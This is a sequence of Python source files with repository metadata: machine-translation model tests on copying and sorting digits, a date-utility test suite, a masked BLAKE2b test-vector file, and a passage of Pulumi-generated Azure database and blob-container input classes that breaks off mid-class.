# Copyright 2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You may not # use this file except in compliance with the License. A copy of the License # is located at # # http://aws.amazon.com/apache2.0/ # # or in the "license" file accompanying this file. This file is distributed on # an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either # express or implied. See the License for the specific language governing # permissions and limitations under the License. import os from tempfile import TemporaryDirectory import pytest from test.common import generate_digits_file, run_train_translate _TRAIN_LINE_COUNT = 10000 _DEV_LINE_COUNT = 100 _LINE_MAX_LENGTH = 9 @pytest.mark.parametrize("train_params, translate_params, perplexity_thresh, bleu_thresh", [ # "Vanilla" LSTM encoder-decoder with attention ("--encoder rnn --num-layers 1 --rnn-cell-type lstm --rnn-num-hidden 64 --num-embed 32 --attention-type mlp" " --attention-num-hidden 32 --batch-size 16 --loss cross-entropy --optimized-metric perplexity --max-updates 10000" " --checkpoint-frequency 1000 --optimizer adam --initial-learning-rate 0.001", " --rnn-dropout 0.0:0.1 --embed-dropout 0.1:0.0" "--beam-size 5", 1.01, 0.98), # 2-layer transformer encoder, LSTM decoder with attention ("--encoder transformer --num-layers 2:1 --rnn-cell-type lstm --rnn-num-hidden 64 --num-embed 32" " --attention-type mhdot --attention-num-hidden 32 --batch-size 16 --attention-mhdot-heads 1" " --loss cross-entropy --optimized-metric perplexity --max-updates 10000" " --transformer-attention-heads 4 --transformer-model-size 64" " --transformer-feed-forward-num-hidden 64" " --checkpoint-frequency 1000 --optimizer adam --initial-learning-rate 0.001", "--beam-size 5", 1.01, 0.99), # LSTM encoder, 1-layer transformer decoder ("--encoder rnn --num-layers 1 --rnn-cell-type lstm --rnn-num-hidden 64 --num-embed 32" " --decoder transformer --batch-size 16" " --loss cross-entropy --optimized-metric perplexity --max-updates 3000" " --transformer-attention-heads 4 --transformer-model-size 32" " --transformer-feed-forward-num-hidden 64" " --checkpoint-frequency 1000 --optimizer adam --initial-learning-rate 0.001", "--beam-size 5", 1.01, 0.98), # 2-layer transformer ("--encoder transformer --decoder transformer" " --batch-size 16 --max-updates 3000" " --num-layers 2 --transformer-attention-heads 4 --transformer-model-size 32" " --transformer-feed-forward-num-hidden 64" " --checkpoint-frequency 1000 --optimizer adam --initial-learning-rate 0.001" " --layer-normalization", "--beam-size 1", 1.01, 0.999), ]) def test_seq_copy(train_params, translate_params, perplexity_thresh, bleu_thresh): """Task: copy short sequences of digits""" with TemporaryDirectory(prefix="test_seq_copy.") as work_dir: # Simple digits files for train/dev data train_source_path = os.path.join(work_dir, "train.src") train_target_path = os.path.join(work_dir, "train.tgt") dev_source_path = os.path.join(work_dir, "dev.src") dev_target_path = os.path.join(work_dir, "dev.tgt") generate_digits_file(train_source_path, train_target_path, _TRAIN_LINE_COUNT, _LINE_MAX_LENGTH) generate_digits_file(dev_source_path, dev_target_path, _DEV_LINE_COUNT, _LINE_MAX_LENGTH) # Test model configuration perplexity, bleu = run_train_translate(train_params, translate_params, train_source_path, train_target_path, dev_source_path, dev_target_path, max_seq_len=_LINE_MAX_LENGTH + 1, work_dir=work_dir) assert perplexity <= perplexity_thresh assert bleu >= bleu_thresh @pytest.mark.parametrize("train_params, translate_params, perplexity_thresh, bleu_thresh", [ # "Vanilla" LSTM encoder-decoder with attention ("--encoder rnn --num-layers 1 --rnn-cell-type lstm --rnn-num-hidden 64 --num-embed 32 --attention-type mlp" " --attention-num-hidden 32 --batch-size 16 --loss cross-entropy --optimized-metric perplexity --max-updates 10000" " --checkpoint-frequency 1000 --optimizer adam --initial-learning-rate 0.001", "--beam-size 5", 1.03, 0.98), # 1-layer transformer encoder, LSTM decoder with attention ("--encoder transformer --num-layers 1 --rnn-cell-type lstm --rnn-num-hidden 64 --num-embed 32" " --attention-type mhdot --attention-num-hidden 32 --batch-size 16 --attention-mhdot-heads 2" " --loss cross-entropy --optimized-metric perplexity --max-updates 8000" " --transformer-attention-heads 4 --transformer-model-size 64" " --transformer-feed-forward-num-hidden 64" " --checkpoint-frequency 1000 --optimizer adam --initial-learning-rate 0.001", "--beam-size 5", 1.01, 0.99), # LSTM encoder, 1-layer transformer decoder ("--encoder rnn --num-layers 1 --rnn-cell-type lstm --rnn-num-hidden 64 --num-embed 32" " --decoder transformer --batch-size 16" " --loss cross-entropy --optimized-metric perplexity --max-updates 6000" " --transformer-attention-heads 4 --transformer-model-size 32" " --transformer-feed-forward-num-hidden 64" " --checkpoint-frequency 1000 --optimizer adam --initial-learning-rate 0.001", "--beam-size 5", 1.01, 0.98), # 2-layer transformer ("--encoder transformer --decoder transformer" " --batch-size 16 --max-updates 6000" " --num-layers 2 --transformer-attention-heads 4 --transformer-model-size 32" " --transformer-feed-forward-num-hidden 64" " --checkpoint-frequency 1000 --optimizer adam --initial-learning-rate 0.001" " --layer-normalization", "--beam-size 1", 1.07, 0.98), ]) def test_seq_sort(train_params, translate_params, perplexity_thresh, bleu_thresh): """Task: sort short sequences of digits""" with TemporaryDirectory(prefix="test_seq_sort.") as work_dir: # Simple digits files for train/dev data train_source_path = os.path.join(work_dir, "train.src") train_target_path = os.path.join(work_dir, "train.tgt") dev_source_path = os.path.join(work_dir, "dev.src") dev_target_path = os.path.join(work_dir, "dev.tgt") generate_digits_file(train_source_path, train_target_path, _TRAIN_LINE_COUNT, _LINE_MAX_LENGTH, sort_target=True) generate_digits_file(dev_source_path, dev_target_path, _DEV_LINE_COUNT, _LINE_MAX_LENGTH, sort_target=True) # Test model configuration perplexity, bleu = run_train_translate(train_params, translate_params, train_source_path, train_target_path, dev_source_path, dev_target_path, max_seq_len=_LINE_MAX_LENGTH + 1, work_dir=work_dir) assert perplexity <= perplexity_thresh assert bleu >= bleu_thresh

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2bebdc6ff2bb5859e8aeb70e931cca0e100a9953

107

py

Python

src/txCascil/transports/__init__.py

DanSeraf/spyd

af893b7f9c67785613b25754eb2cf150523a9fe4

[ "Zlib" ]

null

src/txCascil/transports/__init__.py

DanSeraf/spyd

af893b7f9c67785613b25754eb2cf150523a9fe4

[ "Zlib" ]

null

src/txCascil/transports/__init__.py

DanSeraf/spyd

af893b7f9c67785613b25754eb2cf150523a9fe4

[ "Zlib" ]

null

from txCascil.utils.import_all import import_all import_all(__file__, 'txCascil.transports', ['__init__'])

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920adc0dec406463372ed1df070494ec6d17d7c6

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py

Python

lenv/lib/python3.6/site-packages/Crypto/SelfTest/Hash/test_vectors/BLAKE2b/tv2.txt.py

shrey-c/DataLeakageDjango

a827c5a09e5501921f9fb97b656755671238dd63

[ "BSD-3-Clause" ]

6

2020-05-03T12:03:21.000Z

2020-09-07T08:33:58.000Z

lenv/lib/python3.6/site-packages/Crypto/SelfTest/Hash/test_vectors/BLAKE2b/tv2.txt.py

shrey-c/DataLeakageDjango

a827c5a09e5501921f9fb97b656755671238dd63

[ "BSD-3-Clause" ]

3

2020-04-17T06:50:44.000Z

2022-01-13T02:16:48.000Z

lenv/lib/python3.6/site-packages/Crypto/SelfTest/Hash/test_vectors/BLAKE2b/tv2.txt.py

shrey-c/DataLeakageDjango

a827c5a09e5501921f9fb97b656755671238dd63

[ "BSD-3-Clause" ]

null

X X XXXXXXX XXX XXXXXXXX XXXXXX XXX XXXX XXX XXXX XXXX X XX XXX XXXXXX X XXXX X XXXXXXXXXXXXX X XXXX X XXXXXXXXXXXXXXXX X XXXXXX X XXX X XXXXX X XXXXX XXX XXX XX X XXXXXX XX XXXXX X XXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXX 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XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXX 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XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

129.428571

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1

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14

a6072c6763e1d0c892e4fab05acca419e6fb7da3

1,819

py

Python

tilavarauspalvelu/utils/tests/test_date_util.py

Sukriva/tilavarauspalvelu-core

42443082f61a1f92fc8a9315806fafabf7f64513

[ "MIT" ]

null

tilavarauspalvelu/utils/tests/test_date_util.py

Sukriva/tilavarauspalvelu-core

42443082f61a1f92fc8a9315806fafabf7f64513

[ "MIT" ]

90

2020-11-13T07:42:32.000Z

2022-03-29T08:54:20.000Z

tilavarauspalvelu/utils/tests/test_date_util.py

Sukriva/tilavarauspalvelu-core

42443082f61a1f92fc8a9315806fafabf7f64513

[ "MIT" ]

8

2021-02-10T11:31:22.000Z

2022-01-28T14:33:47.000Z

import datetime from pytest import raises from tilavarauspalvelu.utils.date_util import ( InvalidWeekdayException, next_or_current_matching_weekday, previous_or_current_matching_weekday, ) def test_should_return_next_tuesday(): next_tuesday = next_or_current_matching_weekday( datetime.date(year=2020, month=1, day=1), 1 ) assert next_tuesday == datetime.date(year=2020, month=1, day=7) def test_next_should_return_current_date_if_weekday_matches(): next_tuesday = next_or_current_matching_weekday( datetime.date(year=2020, month=1, day=7), 1 ) assert next_tuesday == datetime.date(year=2020, month=1, day=7) def test_should_return_previous_tuesday(): next_tuesday = previous_or_current_matching_weekday( datetime.date(year=2020, month=2, day=28), 1 ) assert next_tuesday == datetime.date(year=2020, month=2, day=25) def test_previous_should_return_current_date_if_weekday_matches(): next_tuesday = previous_or_current_matching_weekday( datetime.date(year=2020, month=2, day=25), 1 ) assert next_tuesday == datetime.date(year=2020, month=2, day=25) def test_next_match_should_validate_weekday(): with raises(InvalidWeekdayException): next_or_current_matching_weekday(datetime.date(year=2020, month=1, day=1), 7) with raises(InvalidWeekdayException): next_or_current_matching_weekday(datetime.date(year=2020, month=1, day=1), -1) def test_previous_match_should_validate_weekday(): with raises(InvalidWeekdayException): previous_or_current_matching_weekday( datetime.date(year=2020, month=1, day=1), 7 ) with raises(InvalidWeekdayException): previous_or_current_matching_weekday( datetime.date(year=2020, month=1, day=1), -1 )

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0.219512

0

null

0

1

0

null

0

7

a63438a189ccfdd6df0443e2ed615ac23c122b82

44,699

py

Python

operators/azure-service-operator/python/pulumi_pulumi_kubernetes_crds_operators_azure_service_operator/azure/v1alpha2/_inputs.py

pulumi/pulumi-kubernetes-crds

372c4c0182f6b899af82d6edaad521aa14f22150

[ "Apache-2.0" ]

null

operators/azure-service-operator/python/pulumi_pulumi_kubernetes_crds_operators_azure_service_operator/azure/v1alpha2/_inputs.py

pulumi/pulumi-kubernetes-crds

372c4c0182f6b899af82d6edaad521aa14f22150

[ "Apache-2.0" ]

2

2020-09-18T17:12:23.000Z

2020-12-30T19:40:56.000Z

operators/azure-service-operator/python/pulumi_pulumi_kubernetes_crds_operators_azure_service_operator/azure/v1alpha2/_inputs.py

pulumi/pulumi-kubernetes-crds

372c4c0182f6b899af82d6edaad521aa14f22150

[ "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by crd2pulumi. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables __all__ = [ 'BlobContainerSpecArgs', 'BlobContainerStatusArgs', 'MySQLServerSpecArgs', 'MySQLServerSpecReplicaPropertiesArgs', 'MySQLServerSpecSkuArgs', 'MySQLServerSpecStorageProfileArgs', 'MySQLServerStatusArgs', 'PostgreSQLServerSpecArgs', 'PostgreSQLServerSpecReplicaPropertiesArgs', 'PostgreSQLServerSpecSkuArgs', 'PostgreSQLServerSpecStorageProfileArgs', 'PostgreSQLServerStatusArgs', ] @pulumi.input_type class BlobContainerSpecArgs: def __init__(__self__, *, location: pulumi.Input[str], resource_group: pulumi.Input[str], access_level: Optional[pulumi.Input[str]] = None, account_name: Optional[pulumi.Input[str]] = None): """ BlobContainerSpec defines the desired state of BlobContainer :param pulumi.Input[str] location: INSERT ADDITIONAL SPEC FIELDS - desired state of cluster Important: Run "make" to regenerate code after modifying this file :param pulumi.Input[str] access_level: PublicAccess enumerates the values for public access. """ pulumi.set(__self__, "location", location) pulumi.set(__self__, "resource_group", resource_group) if access_level is not None: pulumi.set(__self__, "access_level", access_level) if account_name is not None: pulumi.set(__self__, "account_name", account_name) @property @pulumi.getter def location(self) -> pulumi.Input[str]: """ INSERT ADDITIONAL SPEC FIELDS - desired state of cluster Important: Run "make" to regenerate code after modifying this file """ return pulumi.get(self, "location") @location.setter def location(self, value: pulumi.Input[str]): pulumi.set(self, "location", value) @property @pulumi.getter(name="resourceGroup") def resource_group(self) -> pulumi.Input[str]: return pulumi.get(self, "resource_group") @resource_group.setter def resource_group(self, value: pulumi.Input[str]): pulumi.set(self, "resource_group", value) @property @pulumi.getter(name="accessLevel") def access_level(self) -> Optional[pulumi.Input[str]]: """ PublicAccess enumerates the values for public access. """ return pulumi.get(self, "access_level") @access_level.setter def access_level(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "access_level", value) @property @pulumi.getter(name="accountName") def account_name(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "account_name") @account_name.setter def account_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "account_name", value) @pulumi.input_type class BlobContainerStatusArgs: def __init__(__self__, *, completed: Optional[pulumi.Input[str]] = None, contains_update: Optional[pulumi.Input[bool]] = None, failed_provisioning: Optional[pulumi.Input[bool]] = None, flattened_secrets: Optional[pulumi.Input[bool]] = None, message: Optional[pulumi.Input[str]] = None, output: Optional[pulumi.Input[str]] = None, polling_url: Optional[pulumi.Input[str]] = None, provisioned: Optional[pulumi.Input[bool]] = None, provisioning: Optional[pulumi.Input[bool]] = None, requested: Optional[pulumi.Input[str]] = None, resource_id: Optional[pulumi.Input[str]] = None, spec_hash: Optional[pulumi.Input[str]] = None, state: Optional[pulumi.Input[str]] = None): """ ASOStatus (AzureServiceOperatorsStatus) defines the observed state of resource actions """ if completed is not None: pulumi.set(__self__, "completed", completed) if contains_update is not None: pulumi.set(__self__, "contains_update", contains_update) if failed_provisioning is not None: pulumi.set(__self__, "failed_provisioning", failed_provisioning) if flattened_secrets is not None: pulumi.set(__self__, "flattened_secrets", flattened_secrets) if message is not None: pulumi.set(__self__, "message", message) if output is not None: pulumi.set(__self__, "output", output) if polling_url is not None: pulumi.set(__self__, "polling_url", polling_url) if provisioned is not None: pulumi.set(__self__, "provisioned", provisioned) if provisioning is not None: pulumi.set(__self__, "provisioning", provisioning) if requested is not None: pulumi.set(__self__, "requested", requested) if resource_id is not None: pulumi.set(__self__, "resource_id", resource_id) if spec_hash is not None: pulumi.set(__self__, "spec_hash", spec_hash) if state is not None: pulumi.set(__self__, "state", state) @property @pulumi.getter def completed(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "completed") @completed.setter def completed(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "completed", value) @property @pulumi.getter(name="containsUpdate") def contains_update(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "contains_update") @contains_update.setter def contains_update(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "contains_update", value) @property @pulumi.getter(name="failedProvisioning") def failed_provisioning(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "failed_provisioning") @failed_provisioning.setter def failed_provisioning(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "failed_provisioning", value) @property @pulumi.getter(name="flattenedSecrets") def flattened_secrets(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "flattened_secrets") @flattened_secrets.setter def flattened_secrets(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "flattened_secrets", value) @property @pulumi.getter def message(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "message") @message.setter def message(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "message", value) @property @pulumi.getter def output(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "output") @output.setter def output(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "output", value) @property @pulumi.getter(name="pollingUrl") def polling_url(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "polling_url") @polling_url.setter def polling_url(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "polling_url", value) @property @pulumi.getter def provisioned(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "provisioned") @provisioned.setter def provisioned(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "provisioned", value) @property @pulumi.getter def provisioning(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "provisioning") @provisioning.setter def provisioning(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "provisioning", value) @property @pulumi.getter def requested(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "requested") @requested.setter def requested(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "requested", value) @property @pulumi.getter(name="resourceId") def resource_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "resource_id") @resource_id.setter def resource_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "resource_id", value) @property @pulumi.getter(name="specHash") def spec_hash(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "spec_hash") @spec_hash.setter def spec_hash(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "spec_hash", value) @property @pulumi.getter def state(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "state") @state.setter def state(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "state", value) @pulumi.input_type class MySQLServerSpecArgs: def __init__(__self__, *, location: pulumi.Input[str], resource_group: pulumi.Input[str], create_mode: Optional[pulumi.Input[str]] = None, key_vault_to_store_secrets: Optional[pulumi.Input[str]] = None, replica_properties: Optional[pulumi.Input['MySQLServerSpecReplicaPropertiesArgs']] = None, server_version: Optional[pulumi.Input[str]] = None, sku: Optional[pulumi.Input['MySQLServerSpecSkuArgs']] = None, ssl_enforcement: Optional[pulumi.Input[str]] = None, storage_profile: Optional[pulumi.Input['MySQLServerSpecStorageProfileArgs']] = None): """ MySQLServerSpec defines the desired state of MySQLServer :param pulumi.Input[str] server_version: ServerVersion enumerates the values for server version. """ pulumi.set(__self__, "location", location) pulumi.set(__self__, "resource_group", resource_group) if create_mode is not None: pulumi.set(__self__, "create_mode", create_mode) if key_vault_to_store_secrets is not None: pulumi.set(__self__, "key_vault_to_store_secrets", key_vault_to_store_secrets) if replica_properties is not None: pulumi.set(__self__, "replica_properties", replica_properties) if server_version is not None: pulumi.set(__self__, "server_version", server_version) if sku is not None: pulumi.set(__self__, "sku", sku) if ssl_enforcement is not None: pulumi.set(__self__, "ssl_enforcement", ssl_enforcement) if storage_profile is not None: pulumi.set(__self__, "storage_profile", storage_profile) @property @pulumi.getter def location(self) -> pulumi.Input[str]: return pulumi.get(self, "location") @location.setter def location(self, value: pulumi.Input[str]): pulumi.set(self, "location", value) @property @pulumi.getter(name="resourceGroup") def resource_group(self) -> pulumi.Input[str]: return pulumi.get(self, "resource_group") @resource_group.setter def resource_group(self, value: pulumi.Input[str]): pulumi.set(self, "resource_group", value) @property @pulumi.getter(name="createMode") def create_mode(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "create_mode") @create_mode.setter def create_mode(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "create_mode", value) @property @pulumi.getter(name="keyVaultToStoreSecrets") def key_vault_to_store_secrets(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "key_vault_to_store_secrets") @key_vault_to_store_secrets.setter def key_vault_to_store_secrets(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "key_vault_to_store_secrets", value) @property @pulumi.getter(name="replicaProperties") def replica_properties(self) -> Optional[pulumi.Input['MySQLServerSpecReplicaPropertiesArgs']]: return pulumi.get(self, "replica_properties") @replica_properties.setter def replica_properties(self, value: Optional[pulumi.Input['MySQLServerSpecReplicaPropertiesArgs']]): pulumi.set(self, "replica_properties", value) @property @pulumi.getter(name="serverVersion") def server_version(self) -> Optional[pulumi.Input[str]]: """ ServerVersion enumerates the values for server version. """ return pulumi.get(self, "server_version") @server_version.setter def server_version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "server_version", value) @property @pulumi.getter def sku(self) -> Optional[pulumi.Input['MySQLServerSpecSkuArgs']]: return pulumi.get(self, "sku") @sku.setter def sku(self, value: Optional[pulumi.Input['MySQLServerSpecSkuArgs']]): pulumi.set(self, "sku", value) @property @pulumi.getter(name="sslEnforcement") def ssl_enforcement(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "ssl_enforcement") @ssl_enforcement.setter def ssl_enforcement(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ssl_enforcement", value) @property @pulumi.getter(name="storageProfile") def storage_profile(self) -> Optional[pulumi.Input['MySQLServerSpecStorageProfileArgs']]: return pulumi.get(self, "storage_profile") @storage_profile.setter def storage_profile(self, value: Optional[pulumi.Input['MySQLServerSpecStorageProfileArgs']]): pulumi.set(self, "storage_profile", value) @pulumi.input_type class MySQLServerSpecReplicaPropertiesArgs: def __init__(__self__, *, source_server_id: Optional[pulumi.Input[str]] = None): if source_server_id is not None: pulumi.set(__self__, "source_server_id", source_server_id) @property @pulumi.getter(name="sourceServerId") def source_server_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "source_server_id") @source_server_id.setter def source_server_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "source_server_id", value) @pulumi.input_type class MySQLServerSpecSkuArgs: def __init__(__self__, *, capacity: Optional[pulumi.Input[int]] = None, family: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, size: Optional[pulumi.Input[str]] = None, tier: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[int] capacity: Capacity - The scale up/out capacity, representing server's compute units. :param pulumi.Input[str] family: Family - The family of hardware. :param pulumi.Input[str] name: Name - The name of the sku, typically, tier + family + cores, e.g. B_Gen4_1, GP_Gen5_8. :param pulumi.Input[str] size: Size - The size code, to be interpreted by resource as appropriate. :param pulumi.Input[str] tier: Tier - The tier of the particular SKU, e.g. Basic. Possible values include: 'Basic', 'GeneralPurpose', 'MemoryOptimized' """ if capacity is not None: pulumi.set(__self__, "capacity", capacity) if family is not None: pulumi.set(__self__, "family", family) if name is not None: pulumi.set(__self__, "name", name) if size is not None: pulumi.set(__self__, "size", size) if tier is not None: pulumi.set(__self__, "tier", tier) @property @pulumi.getter def capacity(self) -> Optional[pulumi.Input[int]]: """ Capacity - The scale up/out capacity, representing server's compute units. """ return pulumi.get(self, "capacity") @capacity.setter def capacity(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "capacity", value) @property @pulumi.getter def family(self) -> Optional[pulumi.Input[str]]: """ Family - The family of hardware. """ return pulumi.get(self, "family") @family.setter def family(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "family", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Name - The name of the sku, typically, tier + family + cores, e.g. B_Gen4_1, GP_Gen5_8. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def size(self) -> Optional[pulumi.Input[str]]: """ Size - The size code, to be interpreted by resource as appropriate. """ return pulumi.get(self, "size") @size.setter def size(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "size", value) @property @pulumi.getter def tier(self) -> Optional[pulumi.Input[str]]: """ Tier - The tier of the particular SKU, e.g. Basic. Possible values include: 'Basic', 'GeneralPurpose', 'MemoryOptimized' """ return pulumi.get(self, "tier") @tier.setter def tier(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "tier", value) @pulumi.input_type class MySQLServerSpecStorageProfileArgs: def __init__(__self__, *, backup_retention_days: Optional[pulumi.Input[int]] = None, geo_redundant_backup: Optional[pulumi.Input[str]] = None, storage_autogrow: Optional[pulumi.Input[str]] = None, storage_mb: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] backup_retention_days: BackupRetentionDays - Backup retention days for the server. :param pulumi.Input[str] geo_redundant_backup: GeoRedundantBackup - Enable Geo-redundant or not for server backup. Possible values include: 'Enabled', 'Disabled' :param pulumi.Input[str] storage_autogrow: StorageAutogrow - Enable Storage Auto Grow. Possible values include: 'StorageAutogrowEnabled', 'StorageAutogrowDisabled' :param pulumi.Input[int] storage_mb: StorageMB - Max storage allowed for a server. """ if backup_retention_days is not None: pulumi.set(__self__, "backup_retention_days", backup_retention_days) if geo_redundant_backup is not None: pulumi.set(__self__, "geo_redundant_backup", geo_redundant_backup) if storage_autogrow is not None: pulumi.set(__self__, "storage_autogrow", storage_autogrow) if storage_mb is not None: pulumi.set(__self__, "storage_mb", storage_mb) @property @pulumi.getter(name="backupRetentionDays") def backup_retention_days(self) -> Optional[pulumi.Input[int]]: """ BackupRetentionDays - Backup retention days for the server. """ return pulumi.get(self, "backup_retention_days") @backup_retention_days.setter def backup_retention_days(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "backup_retention_days", value) @property @pulumi.getter(name="geoRedundantBackup") def geo_redundant_backup(self) -> Optional[pulumi.Input[str]]: """ GeoRedundantBackup - Enable Geo-redundant or not for server backup. Possible values include: 'Enabled', 'Disabled' """ return pulumi.get(self, "geo_redundant_backup") @geo_redundant_backup.setter def geo_redundant_backup(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "geo_redundant_backup", value) @property @pulumi.getter(name="storageAutogrow") def storage_autogrow(self) -> Optional[pulumi.Input[str]]: """ StorageAutogrow - Enable Storage Auto Grow. Possible values include: 'StorageAutogrowEnabled', 'StorageAutogrowDisabled' """ return pulumi.get(self, "storage_autogrow") @storage_autogrow.setter def storage_autogrow(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "storage_autogrow", value) @property @pulumi.getter(name="storageMB") def storage_mb(self) -> Optional[pulumi.Input[int]]: """ StorageMB - Max storage allowed for a server. """ return pulumi.get(self, "storage_mb") @storage_mb.setter def storage_mb(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "storage_mb", value) @pulumi.input_type class MySQLServerStatusArgs: def __init__(__self__, *, completed: Optional[pulumi.Input[str]] = None, contains_update: Optional[pulumi.Input[bool]] = None, failed_provisioning: Optional[pulumi.Input[bool]] = None, flattened_secrets: Optional[pulumi.Input[bool]] = None, message: Optional[pulumi.Input[str]] = None, output: Optional[pulumi.Input[str]] = None, polling_url: Optional[pulumi.Input[str]] = None, provisioned: Optional[pulumi.Input[bool]] = None, provisioning: 